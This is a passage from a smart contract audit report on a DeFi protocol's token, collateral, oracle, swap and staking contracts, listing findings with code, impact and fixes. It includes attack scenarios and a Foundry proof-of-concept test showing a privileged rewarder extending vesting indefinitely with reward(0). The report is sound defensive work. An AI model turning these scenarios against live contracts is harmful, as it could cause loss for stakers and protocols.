The `LayerZeroMintBurnOFTAdapter` inherits from `MintBurnOFTAdapter`:

```
// LayerZeroMintBurnOFTAdapter.sol contract LayerZeroMintBurnOFTAdap
ter is Ownable, MintBurnOFTAdapter { constructor(address _owner, add
ress _token, address _minterBurner, address _lzEndpoint, address _de
legate) Ownable(_owner) MintBurnOFTAdapter(_token, IMintableBurnable
(_minterBurner), _lzEndpoint, _delegate) {} }
```

The base `MintBurnOFTAdapter` from LayerZero returns `false` for `approvalRequired()`:

```
// MintBurnOFTAdapter.sol (LayerZero devtools) function approvalRequ
ired() external pure virtual returns (bool) { return false; }
```

However, when `MintBurnOFTAdapter._debit()` is called during a cross-chain send, it calls `minterBurner.burn(_from, amountSentLD)`, which invokes `AssetToken.burn()`:

```
// AssetToken.sol function burn(address _from, uint256 _amount) exte
rnal returns (bool success) { _spendAllowance(_from, _msgSender(), _
amount); // <-- Requires approval! _burn(_from, _amount); return tru
e; }
```

The `_spendAllowance()` call will revert if the `LayerZeroMintBurnOFTAdapter` contract does not have sufficient allowance from `_from`.

Evidence from tests:

The integration tests confirm that approval is required:

```
// LayerZeroIntegration.t.sol function test_LayerZero_MintBurnAdapte
r_Send(uint256 amount) public { // ... // approve the adapter to spe
nd user tokens vm.prank(user); asset.approve(address(mintBurnAdapte
r), amount); // <-- Approval IS required // ... }
```

Impact

1. **Integration Failures**: Wallet implementers, aggregators, or frontend applications that check `approvalRequired()` before initiating transfers will not prompt users for approval, causing transactions to revert.
2. **Poor UX**: Users may experience failed transactions without understanding why, as the interface indicated no approval was needed.
3. **Protocol Incompatibility**: This violates the LayerZero OFT interface contract where `approvalRequired()` should accurately reflect whether the underlying token requires approval for the adapter to operate.

Severity: Low/Medium - The functionality works correctly when approval is granted (as shown in tests), but the interface provides incorrect information to integrators.

Recommendation

Override `approvalRequired()` in `LayerZeroMintBurnOFTAdapter` to return `true`:

```
contract LayerZeroMintBurnOFTAdapter is Ownable, MintBurnOFTAdapter
{ constructor(address _owner, address _token, address _minterBurner,
address _lzEndpoint, address _delegate) Ownable(_owner) MintBurnOFTA
dapter(_token, IMintableBurnable(_minterBurner), _lzEndpoint, _deleg
ate) {} /// @notice Override to indicate approval is required for As
setToken.burn() function approvalRequired() external pure override r
eturns (bool) { return true; } }
```

Status: Resolved

[M] No Mechanism to Extract Reward Tokens from Morpho Vault Integration

Summary

`CollateralManager.sol` lacks any mechanism to extract reward tokens earned through Morpho V2 vault integration. Morpho distributes MORPHO token rewards via the Universal Rewards Distributor (URD), which requires active claiming with merkle proofs. Without a claim function, these rewards are permanently unclaimable.

Technical Details

Morpho’s Universal Rewards Distributor (URD)

Morpho distributes rewards via a separate contract called the Universal Rewards Distributor. The URD requires users to actively claim rewards by providing merkle proofs.

Source: github.com/morpho-org/universal-rewards-distributor/blob/main/src/UniversalRewardsDistributor.sol

```
/// @notice Claims rewards. /// @param account The address to claim rewards for. /// @param reward The address of the reward token. /// @param claimable The overall claimable amount of token rewards. /// @param proof The merkle proof that validates this claim. /// @return amount The amount of reward token claimed. /// @dev Anyone can claim rewards on behalf of an account. function claim(address account, address reward, uint256 claimable, bytes32[] calldata proof) external returns (uint256 amount) { require(root != bytes32(0), ErrorsLib.ROOT_NOT_SET); require( MerkleProof.verifyCalldata( proof, root, keccak256(bytes.concat(keccak256(abi.encode(account, reward, claimable)))) ), ErrorsLib.INVALID_PROOF_OR_EXPIRED ); require(claimable > claimed[account][reward], ErrorsLib.CLAIMABLE_TOO_LOW); amount = claimable - claimed[account][reward]; claimed[account][reward] = claimable; IERC20(reward).safeTransfer(account, amount); // Transfers to claiming account emit EventsLib.Claimed(account, reward, amount); }
```

How Rewards Are Allocated

1. Morpho computes a merkle tree off-chain with reward allocations per depositor address
2. Each address that supplied to Morpho markets/vaults gets allocated MORPHO rewards
3. To claim, the address must call `URD.claim()` with a valid merkle proof
4. Rewards are transferred to the claiming `account`

The Problem

When Tenbin's `CollateralManager` deposits into Morpho vaults:

```
CollateralManager deposits USDC → Morpho V2 Vault → Morpho Blue markets ↓ URD allocates MORPHO rewards to depositor (CollateralManager or Vault address)
```

The `CollateralManager` contract has **no function to interact with the URD**:

```
// CollateralManager.sol - Available functions: function deposit(address collateral, uint256 amount) external; // ✓ function withdraw(address collateral, uint256 amount) external; // ✓ function withdrawRevenue(address collateral, uint256 amount) external; // ✓ function rescueEther() external; // ✓ // MISSING: // function claimRewards(...) external; // ✗ Does not exist
```

Morpho's Official Warning

From the Morpho integration guide:

> "Make sure the contract calling Morpho's core contracts or Morpho's vaults has the capacity to withdraw ERC20 tokens from the contract. Else, MORPHO rewards or the underlying pool's rewards would be stuck in the contract (forever…)."

PoC

```
1. Tenbin deposits $10M USDC into Morpho V2 Vault via CollateralManager 2. Morpho V2 Vault supplies to Morpho Blue markets 3. Morpho distributes 100,000 MORPHO tokens as rewards 4. URD merkle tree includes allocation for the depositor address 5. To claim: depositor must call URD.claim(account, MORPHO, 100000, proof) RESULT: - CollateralManager has no claim() function - 100,000 MORPHO tokens are permanently unclaimable - At $1/MORPHO = $100,000 lost
```

Impact

- **Permanent Loss**: MORPHO reward tokens allocated via URD cannot be claimed
- **Revenue Loss**: Protocol misses out on valuable reward distributions
- **Compounding Loss**: As deposits remain in Morpho vaults, unclaimed rewards accumulate indefinitely

- **Violation of Integration Requirements**: Directly violates Morpho's documented integration guidelines

Recommendation

Add functions to claim rewards from the URD and extract reward tokens:

```
/// @notice Claim rewards from Morpho's Universal Rewards Distributo
r /// @param distributor The URD contract address /// @param reward
The reward token address (e.g., MORPHO) /// @param claimable The tot
al claimable amount from merkle tree /// @param proof The merkle pro
of for this claim function claimMorphoRewards( address distributor,
address reward, uint256 claimable, bytes32[] calldata proof ) extern
al onlyRole(COLLECTOR_ROLE) { IUniversalRewardsDistributor(distribut
or).claim( address(this), reward, claimable, proof ); } /// @notice
Extract reward tokens earned from Morpho vault integrations /// @par
am token The address of the reward token to extract /// @param to Re
cipient of the reward tokens /// @dev Cannot extract tokens that are
active collaterals function extractRewards(address token, address t
o) external onlyRole(COLLECTOR_ROLE) nonZeroAddress(to) { // Prevent
extracting active collateral tokens if (address(vaults[token]) != ad
dress(0)) revert CannotExtractCollateral(); IERC20(token).safeTransf
er(to, IERC20(token).balanceOf(address(this))); }
```

Add the interface:

```
interface IUniversalRewardsDistributor { function claim(address acco
unt, address reward, uint256 claimable, bytes32[] calldata proof) ex
ternal returns (uint256 amount); }
```

Status: Resolved

[M] OracleAdapter Lacks Stale Price, Zero Price, and Negative Price Validation

Summary

The `OracleAdapter.getPrice()` function calls `oracle.latestAnswer()` without validation for stale prices, zero prices, or negative prices. While this deviates from Chainlink best practices, the practical impact is limited because:

1. The oracle is used only for **tolerance checking**, not as the source of truth for pricing
2. Orders require **custodian signatures**, providing an additional trust layer

Technical Details

```
// OracleAdapter.sol function getPrice() external view returns (uint256) { return oracle.latestAnswer().toUint256() * 1e10; }
```

Issues Identified

1. **No Staleness Check**: Uses deprecated `latestAnswer()` instead of `latestRoundData()` with timestamp validation
2. **No Zero/Negative Price Check**: `latestAnswer()` returns `int256`. Zero or negative values could cause unexpected behavior
3. **No Round Completeness Check**: Missing `answeredInRound >= roundId` validation

How It’s Used in Controller

```
// Controller.sol - verifyOrder() Oracle memory oracleData = oracle;
if (oracle.adapter != address(0)) { uint256 oraclePrice = IOracleAda
pter(oracle.adapter).getPrice(); // ...normalize collateral amoun
t... uint256 price = Math.mulDiv(collateralAmount, 1e18, order.asset
_amount); uint256 difference = price >= oraclePrice ? price - oracle
Price : oraclePrice - price; uint256 delta = Math.mulDiv(difference,
1e18, price); if (delta > oracleData.tolerance) revert ExceedsOracle
DeltaTolerance(); }
```

Key Observation: The oracle is used for **tolerance checking only** - the actual price comes from the off-chain order. This significantly reduces the attack surface.

Why This is Low Severity in Tenbin's Context

1. **Defensive Use Only**: The oracle price is compared against the order price, not used directly for calculations
2. **Tolerance Band Protection**: Even with stale data, the tolerance band limits deviation
3. **Custodian Signature Required**: Orders need custodian approval, adding human oversight
4. **XAU/USD Stability**: Gold price feeds are relatively stable with 1-hour heartbeats
5. **No Liquidation Mechanics**: Unlike lending protocols, there are no time-sensitive liquidations

Theoretical Attack Scenario (Low Likelihood)

For exploitation to occur, ALL of the following must happen simultaneously:

1. Chainlink oracle becomes stale (rare for XAU/USD - 1 hour heartbeat)
2. Gold price moves significantly (gold is relatively stable)
3. Price movement exceeds the tolerance threshold

4. Custodian still signs the malicious order (human oversight failure)
5. Attacker has the required collateral and setup

Chainlink Interface Used

The contract uses `AggregatorInterface` which has:

```
interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); // ... }
```

The more complete `AggregatorV3Interface` with `latestRoundData()` is recommended:

```
function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound );
```

Recommendation

While this is an informational finding, adopting Chainlink best practices is still recommended for defense-in-depth:

```
// SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {Aggr
egatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/Ag
gregatorV3Interface.sol"; import {IOracleAdapter} from "src/interfac
e/IOracleAdapter.sol"; contract OracleAdapter is IOracleAdapter {
/// @notice Stale price threshold (e.g., 1 hour for XAU/USD) uint256
public constant PRICE_STALENESS_THRESHOLD = 3600; /// @notice Chainl
ink oracle AggregatorV3Interface public immutable oracle; error Stal
ePrice(); error InvalidPrice(); constructor(address oracle_) { oracl
e = AggregatorV3Interface(oracle_); } /// @inheritdoc IOracleAdapter
function getPrice() external view returns (uint256) { ( , int256 ans
wer, , uint256 updatedAt, ) = oracle.latestRoundData(); // Check for
stale price if (block.timestamp - updatedAt > PRICE_STALENESS_THRESH
OLD) { revert StalePrice(); } // Check for invalid price if (answer
<= 0) { revert InvalidPrice(); } return uint256(answer) * 1e10; } }
```

Status: Resolved

[M] SwapModule ignores 1inch partial fills

Summary

When 1inch partial fill is enabled, the router can spend less than the requested `amount`, but `SwapModule.swap1Inch` assumes full spend and ignores the returned `spentAmount`. Any unspent `srcToken` remains stranded in the SwapModule, while caps/accounting assume full consumption. This creates silent balance drift and can strand funds in the module.

Technical Details

- The module pre-transfers the full `params.amount` to itself, approves the router, and never reads `spentAmount`; it only checks `returnAmount` (packages/contracts/src/SwapModule.sol#L45-L84):

```
// decoded swapData includes flags; partial fill may be allowed by 1
inch route (IAggregationExecutor executor, IAggregationRouterV6.Swap
Description memory swapData, bytes memory route) = abi.decode(data,
(IAggregationExecutor, IAggregationRouterV6.SwapDescription, byte
s)); ... IERC20(params.srcToken).safeIncreaseAllowance(params.route
r, params.amount); ( uint256 returnAmount, /* uin256 spentAmount */
) = IAggregationRouterV6(router).swap(executor, swapData, route); if
(returnAmount < params.minReturnAmount) revert InsufficientReturnAmo
unt();
```

- 1inch AggregationRouterV6 supports partial fills via flags and returns `(returnAmount, spentAmount)`; if partial fill occurs, `spentAmount < swapData.amount` and the unused tokens stay with the caller unless refunded. SwapModule does not handle or refund them, yet caps and downstream accounting assume `params.amount` was spent.

Impact

Unspent `srcToken` is silently retained in SwapModule on partial fills, while caps/manager logic treat it as spent. This causes balance drift and potential stranded funds with no explicit rescue in SwapModule. Exploitation requires selecting a partial-fill route but can occur without reverting. Medium severity due to possible stuck funds.

Recommendation

Either disallow partial fills (`revert` if `swapData.flags` enables partial fill) or enforce `spentAmount == params.amount` after the 1inch call, refunding any leftover to the manager and adjusting caps accordingly.

Status: Resolved

[L] StakedAsset.reward(0) Allows REWARDER to Extend Vesting Period Indefinitely

Summary

The `StakedAsset.reward()` function can be called with `assets = 0`, which resets the vesting end time without adding any new rewards. A malicious or compromised `REWARDER_ROLE` holder can repeatedly call `reward(0)` to indefinitely extend the vesting period, effectively griefing stakers by preventing them from receiving their vested rewards on schedule.

Technical Details

Vulnerable Code

```
// StakedAsset.sol function reward(uint256 assets) external onlyRole
(REWARDER_ROLE) { if (vesting.period > 0) { uint256 pending = _pendi
ngRewards(); vesting.assets = pending + assets; // With assets=0: ju
st pending vesting.end = uint128(block.timestamp) + vesting.period;
// Reset end time! emit VestingStarted(pending + assets, uint128(blo
ck.timestamp) + vesting.period); } IERC20(asset()).safeTransferFrom
(msg.sender, address(this), assets); // Transfers 0 emit RewardsRece
ived(assets); }
```

When `assets = 0`:

1. `pending = _pendingRewards()` - Gets current unvested rewards
2. `vesting.assets = pending + 0 = pending` - Sets to just pending
3. `vesting.end = block.timestamp + vesting.period` - **Resets end time to full period from now**
4. `safeTransferFrom(msg.sender, this, 0)` - Transfers nothing

Attack Scenario

Setup:

- Vesting period: 7 days
- Initial reward of 1000 tokens at T=0
- Vesting should complete at T+7 days

Attack Timeline:

Time	Action	Pending Before	Pending After	Days to Full Vest
T=0	reward(1000)	0	1000	7 days
T+3.5d	reward(0)	500	500	7 days (extended from 3.5d)
T+7d	reward(0)	250	250	7 days (extended again)
T+10.5d	reward(0)	125	125	7 days (extended again)
…	…	…	…	…

Mathematical Proof:

Before `reward(0)` at T=3.5 days:

```
pending = assets * (end - now) / period = 1000 * (7d - 3.5d) / 7d =
500 tokens Time remaining: 3.5 days
```

After `reward(0)` at T=3.5 days:

```
vesting.assets = 500 (pending) + 0 = 500 vesting.end = T+3.5d + 7d =
T+10.5d pending = 500 * (10.5d - 3.5d) / 7d = 500 tokens (same) Time
remaining: 7 days (doubled!)
```

Impact

1. **Griefing Stakers**: REWARDER can prevent stakers from receiving vested rewards on time by continuously extending the vesting period.

2. **Theoretical Infinite Delay**: By repeatedly calling `reward(0)`, the vesting period can be extended indefinitely, effectively locking rewards forever.
3. **Share Price Manipulation**: Since `totalAssets() = balance - pendingRewards()`, manipulating the vesting schedule affects share prices used for deposits/withdrawals.

Attack Requirements:

- Compromised or malicious REWARDER_ROLE holder
- Active vesting period (vesting.period > 0)
- Some unvested rewards exist

Limiting Factors:

- Requires privileged role (REWARDER_ROLE)
- Does not result in direct theft (just delayed rewards)
- Stakers can still withdraw their principal

PoC

```
// SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {Tes
t} from "forge-std/Test.sol"; import {StakedAsset} from "src/StakedA
sset.sol"; import {AssetToken} from "src/AssetToken.sol"; import {ER
C1967Proxy} from "lib/openzeppelin-contracts/contracts/proxy/ERC196
7/ERC1967Proxy.sol"; contract RewardZeroPoC is Test { StakedAsset st
aking; AssetToken asset; address owner = address(1); address rewarde
r = address(2); address staker = address(3); function setUp() public
{ // Deploy asset asset = new AssetToken(); asset.initialize("Asse
t", "AST", owner, owner); // Deploy staking StakedAsset impl = new S
takedAsset(); bytes memory data = abi.encodeCall( StakedAsset.initia
lize, ("Staked Asset", "stAST", address(asset), owner) ); staking =
StakedAsset(address(new ERC1967Proxy(address(impl), data))); // Setu
p roles vm.startPrank(owner); staking.grantRole(keccak256("REWARDER_
ROLE"), rewarder); staking.grantRole(keccak256("ADMIN_ROLE"), owne
r); staking.setVestingPeriod(7 days); asset.grantRole(keccak256("MIN
TER_ROLE"), address(this)); vm.stopPrank(); // Setup staker asset.mi
nt(staker, 1000e18); vm.prank(staker); asset.approve(address(stakin
g), type(uint256).max); vm.prank(staker); staking.deposit(1000e18, s
taker); // Setup rewarder asset.mint(rewarder, 1000e18); vm.prank(re
warder); asset.approve(address(staking), type(uint256).max); } funct
ion test_RewardZeroExtendsVesting() public { // Initial reward vm.pr
ank(rewarder); staking.reward(1000e18); // Check initial state asser
tEq(staking.pendingRewards(), 1000e18); (,,uint256 vestingEnd) = sta
king.vesting(); assertEq(vestingEnd, block.timestamp + 7 days); // F
ast forward 3.5 days (50% vested) vm.warp(block.timestamp + 3.5 day
s); uint256 pendingBefore = staking.pendingRewards(); assertApproxEq
Abs(pendingBefore, 500e18, 1e15); // ~500 pending // Record time rem
aining before attack uint256 timeRemainingBefore = vestingEnd - bloc
k.timestamp; assertApproxEqAbs(timeRemainingBefore, 3.5 days, 1); //
ATTACK: Call reward(0) vm.prank(rewarder); staking.reward(0); // Che
ck pending is same uint256 pendingAfter = staking.pendingRewards();
assertApproxEqAbs(pendingAfter, 500e18, 1e15); // But vesting end ti
me is extended! (,,uint256 newVestingEnd) = staking.vesting(); uint2
56 timeRemainingAfter = newVestingEnd - block.timestamp; // Time rem
aining doubled from 3.5 days to 7 days! assertApproxEqAbs(timeRemain
ingAfter, 7 days, 1); console.log("Time remaining before:", timeRema
iningBefore / 1 days, "days"); console.log("Time remaining after:",
timeRemainingAfter / 1 days, "days"); console.log("Vesting period DO
UBLED by reward(0)!"); } }
```

Recommendation

Add a minimum reward amount check to prevent zero-value calls:

```
function reward(uint256 assets) external onlyRole(REWARDER_ROLE) { i
f (assets == 0) revert InvalidRewardAmount(); // Add this check if
(vesting.period > 0) { uint256 pending = _pendingRewards(); vesting.
assets = pending + assets; vesting.end = uint128(block.timestamp) +
vesting.period; emit VestingStarted(pending + assets, uint128(block.
timestamp) + vesting.period); } IERC20(asset()).safeTransferFrom(ms
g.sender, address(this), assets); emit RewardsReceived(assets); }
```

Status: Resolved

[L] Slippage Validation Assumes 1:1 Token Value Ratio

Summary

The `_verifySlippage()` function in `CollateralManager.sol` performs slippage validation by assuming a 1:1 value ratio between source and destination tokens after decimal normalization. While this works correctly for the intended use case (stablecoin-to-stablecoin swaps), it creates an implicit protocol assumption that should be documented and enforced. If the protocol ever supports non-stablecoin collaterals, this validation would be broken.

Technical Details

The slippage validation logic in `CollateralManager.sol:214-222` normalizes both token amounts to 18 decimals and then calculates slippage as:

```
function _verifySlippage(ISwapModule.SwapParameters memory params) i
nternal view { // normalize decimal amounts to compare slippage uint
256 expectedAmountOut = _normalizeTo18(params.amount, IERC20Metadata
(params.srcToken).decimals()); uint256 minAmountOut = _normalizeTo18
(params.minReturnAmount, IERC20Metadata(params.dstToken).decimals
()); // Calculate bps and verify slippage is within tolerance uint25
6 slippageBps = (expectedAmountOut - minAmountOut) * BASIS_PRECISION
/ expectedAmountOut; if (slippageBps > swapTolerance[params.srcToke
n][params.dstToken]) revert InvalidSlippage(); }
```

The slippage calculation assumes that after decimal normalization, the input amount and minimum output should be approximately equal (within slippage tolerance). This implicitly assumes:

1. All supported collaterals are USD-pegged stablecoins (~$1 value each)
2. The `swapTolerance` setting accounts for both trading slippage AND potential minor depegs

For stablecoin-to-stablecoin swaps, this works correctly:

- **Swap**: 1,000,000 USDC → DAI with 0.1% slippage
- `params.amount = 1_000_000e6` (USDC, 6 decimals)
- `params.minReturnAmount = 999_000e18` (DAI, 18 decimals)
- **After normalization:** Both equal ~1,000,000e18
- `slippageBps = 10` (0.1%) ✓

Additionally, the slippage validation doesn't use an oracle to verify the swap is receiving fair market value. The `swapTolerance` is a static configuration per token pair, which requires manual admin intervention if market conditions change (e.g., depeg events).

Impact

1. **Protocol Limitation**: The protocol cannot support non-stablecoin collaterals without breaking the slippage validation
2. **No Fair Value Verification**: The system relies entirely on the curator providing a "fair" `minReturnAmount`
3. **Operational Risk**: During depeg events, legitimate rebalancing swaps may be blocked until admin updates tolerances

Recommendation

Consider implementing oracle-based price verification for defense-in-depth:

```
function _verifySlippage(ISwapModule.SwapParameters memory params) i
nternal view { // Get oracle prices uint256 srcPrice = oracle.getPri
ce(params.srcToken); uint256 dstPrice = oracle.getPrice(params.dstTo
ken); // Calculate expected output based on oracle prices uint256 ex
pectedOutput = params.amount * srcPrice / dstPrice; // Verify minRet
urnAmount is within tolerance of expected uint256 minAcceptable = ex
pectedOutput * (BASIS_PRECISION - swapTolerance[params.srcToken][par
ams.dstToken]) / BASIS_PRECISION; if (params.minReturnAmount < minAc
ceptable) revert InvalidSlippage(); }
```

Status: Resolved

[L] Controller oracle can be disabled

Summary

`setOracleAdapter(address(0))` disables the price delta guard, so orders are accepted purely on the signed `collateral_amount / asset_amount` ratio. If the adapter is zeroed (misconfig, incident response, or malicious admin), a signer can mint undercollateralized tokens without any on-chain price backstop.

Technical Details

- `verifyOrder` only runs the oracle delta check when `oracle.adapter != address(0)`; otherwise it skips the comparison entirely:

```
// Controller.verifyOrder Oracle memory oracleData = oracle; if (oracle.adapter != address(0)) { uint256 oraclePrice = IOracleAdapter(oracle.adapter).getPrice(); uint256 decimals = IERC20Metadata(order.collateral_token).decimals(); uint256 collateralAmount; if (decimals == 18) collateralAmount = order.collateral_amount; else collateralAmount = order.collateral_amount * 10 ** (18 - decimals); uint256 price = Math.mulDiv(collateralAmount, 1e18, order.asset_amount); uint256 difference = price >= oraclePrice ? price - oraclePrice : oraclePrice - price; uint256 delta = Math.mulDiv(difference, 1e18, price); if (delta > oracleData.tolerance) revert ExceedsOracleDeltaTolerance(); }
```

- `setOracleAdapter` explicitly allows setting `address(0)` and zeroes tolerance, leaving the system without any price bound:

```
function setOracleAdapter(address newAdapter) external onlyRole(ADMIN_ROLE) { oracle.adapter = newAdapter; if (newAdapter == address(0)) oracle.tolerance = 0; }
```

- In this state, the effective price is solely `collateral_amount / asset_amount`, so a compromised/erroneous signer can approve orders at arbitrarily favorable prices and mint against insufficient collateral.

Impact

Price backstop can be turned off by setting the adapter to zero. While this requires admin action, once disabled, any signer mistake/compromise can mint undercollateralized supply. Classify as Low given privileged prerequisite and explicit “disable” behavior.

Recommendation

Disallow zero adapters (validate in `setOracleAdapter` and initialize with a nonzero adapter), or gate disabling behind a dedicated maintenance/pause path that also halts mint/redeem when the oracle is offline.

Status: Resolved

[L] CollateralManager vault I/O lacks slippage bounds

Summary

`deposit` and `withdraw` forward ERC4626 interactions to the vault without any min-share or max-share guard. When used with fee-bearing or loss-incurring vaults (e.g., Morpho Vault V2), the manager will accept whatever rate the vault provides, so a mispriced vault or adverse entry/exit fee can silently degrade the protocol’s collateral. Only swap paths enforce slippage; direct vault interactions do not.

Technical Details

- `deposit` and `withdraw` call the vault directly with the requested `amount` and do not check expected shares or returned assets (packages/contracts/src/CollateralManager.sol#L86-L103):

```
function deposit(address collateral, uint256 amount) external ... {
IERC4626 vault = vaults[collateral]; if (address(vault) == address
(0)) revert CollateralNotSupported(); _realizeRevenue(collateral, va
ult); vault.deposit(amount, address(this)); lastTotalAssets[collater
al] = vault.totalAssets(); } function withdraw(address collateral, u
int256 amount) external ... { IERC4626 vault = vaults[collateral]; i
f (address(vault) == address(0)) revert CollateralNotSupported(); _r
ealizeRevenue(collateral, vault); vault.withdraw(amount, address(thi
s), address(this)); lastTotalAssets[collateral] = vault.totalAssets
(); }
```

- Swaps do enforce slippage via `_verifySlippage`, but vault I/O lacks analogous bounds.
- Morpho Vault V2 explicitly warns that share price can go down and recommends slippage checks on withdraw/redeem:

```
/// @dev The share price can go down if the vault incurs some losse
s. Users might want to perform slippage checks upon /// withdraw/red
eem via an other contract.
```

- VaultV2 withdraw paths rely on `previewWithdraw` to determine shares owed, so callers lacking bounds can redeem at adverse rates.

Impact

A privileged curator can unknowingly accept poor rates or entry/exit fees from the vault, reducing managed collateral. Risk is bounded by role gating (CURATOR_ROLE) but can still cause treasury loss if the vault misprices or realizes losses between calls. Classify as Low.

Recommendation

Add min/max bounds using `previewDeposit`/`previewWithdraw` (or vault-provided oracle/guards) before calling `deposit`/`withdraw`, reverting if the implied rate deviates beyond an operator-configured tolerance. Mirror the swap slippage pattern for vault interactions.

Status: Resolved

[L] Controller oracle delta uses order price denominator

Summary

`verifyOrder` measures price deviation as `|price - oraclePrice| / price`, anchoring the denominator to the order-implied price